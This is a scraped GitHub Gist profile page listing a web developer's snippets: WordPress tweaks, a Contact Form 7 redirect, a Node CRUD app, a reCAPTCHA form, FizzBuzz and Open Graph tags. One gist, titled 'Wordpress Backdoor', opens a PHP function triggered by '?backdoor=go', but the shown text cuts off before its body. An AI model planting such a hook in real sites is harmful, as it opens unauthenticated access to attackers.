Skip to content

Instantly share code, notes, and snippets.

:octocat:
Leveling up my node.js skills

Michael Hicks Kustomdesigner

:octocat:
Leveling up my node.js skills
Block or report user

Report or block Kustomdesigner

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@Kustomdesigner
Kustomdesigner / cloudSettings
Last active Jan 27, 2019
Visual Studio Code Settings Sync Gist
View cloudSettings
{"lastUpload":"2019-01-27T18:57:21.526Z","extensionVersion":"v3.2.4"}
@Kustomdesigner
Kustomdesigner / index.html
Created Jan 11, 2019
Retreaver.js - Set phone number so that the number is static on direct and call pool number all other times
View index.html
<!--Retreaver Script-->
<!-- <script src="//dist.routingapi.com/jsapi/v1/retreaver.min.js"></script> -->
<script src="https://d1a32x6bfz4b86.cloudfront.net/jsapi/v1/retreaver.min.js"></script>
<script>
var j = jQuery.noConflict();
j(function() {
Retreaver.configure({host: 'api.calltrackapi.com', prefix: 'https'});
// Initialize the Retreaver campaign using the campaign key from your campaign page.
var phoneNum = new Retreaver.Campaign({ campaign_key: '3a4f5683eddd986e4eb3cf5638ad88b6' });
@Kustomdesigner
Kustomdesigner / functions.php
Created Jan 4, 2019
Redirect Contact Form 7
View functions.php
/*
* Redirect Contact Form 7 Submissions
*/
function redirect_cf7() { ?>
<script type="text/javascript">
document.addEventListener( 'wpcf7mailsent', function( event ) {
if ( '1438' == event.detail.contactFormId ) { // Sends sumissions on form 947 to the first thank you page
location = 'https://www.ivf4everyone.com/thank-you-feedback/';
} else { // Sends submissions on all unaccounted for forms to the third thank you page
@Kustomdesigner
Kustomdesigner / app.js
Created Dec 17, 2018
Basic node.js crud app using: node.js, mongoose.js, express.js, and nodemon.js on an mlab mongo db server
View app.js
//Require assets
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.Promise = global.Promise;
let port = 3000;
const bodyParser = require('body-parser');
@Kustomdesigner
Kustomdesigner / index.html
Created Dec 4, 2018
Basic php form using recatcha v2 and curl
View index.html
//Fetch Recaptcha API
<script src='https://www.google.com/recaptcha/api.js'></script>
<div id="contact_form">
<h1>Contact Form</h1>
<form method="POST" action="includes/php/mail.php">
<p class="">
Your Name:</p>
<input class="" name="name" type="text" size="25" maxlength="100" />
@Kustomdesigner
Kustomdesigner / index.html
Last active Oct 25, 2018
FizzBuzz Challenge - Write a program that prints the numbers from 1 to 100. But for multiples of three print "Fizz" instead of the number and for the multiples of five print "Buzz". For numbers which are multiples of both three and five print "FizzBuzz".
View index.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Fizz Buzz Challenge</title>
</head>
<body>
@Kustomdesigner
Kustomdesigner / index.php
Created Oct 24, 2018
Change menu links so they work with one page scrolling website
View index.php
<?php if( !is_front_page() ) { ?>
<script>
//Change links so they work if it is not the homepage
var j = jQuery.noConflict();
j(function() {
j('#menu-primary-menu li a').each(function() {
var href = j(this).attr('href'),
siteUrl = window.location.protocol + '//' + window.location.host + '/';
View Jquery - Smooth Scrolling Anchor Links - Using jQuery No Conflict
View Wordpress Backdoor
/**
*
* Temporary Backdoor
*
*/
//Your website’s backdoor is: mywebsite.com/?backdoor=go
function holeinthewall() {
if ($_GET['backdoor'] == 'go') {
@Kustomdesigner
Kustomdesigner / Add open graph (og:) tags to wordpress for facebook sharing of posts
Created Oct 12, 2018
Add open graph (og:) tags to wordpress for facebook sharing of posts
View Add open graph (og:) tags to wordpress for facebook sharing of posts
<?php if( is_single() ) { ?>
<?php
function ogtrimtext($data, $limit) {
$arr = explode(" ", $data);
$new_arr = array_slice($arr, 0, $limit);
return implode(" ", $new_arr);
}
global $post;
$og_post_object = get_post( $post_id );
You can’t perform that action at this time.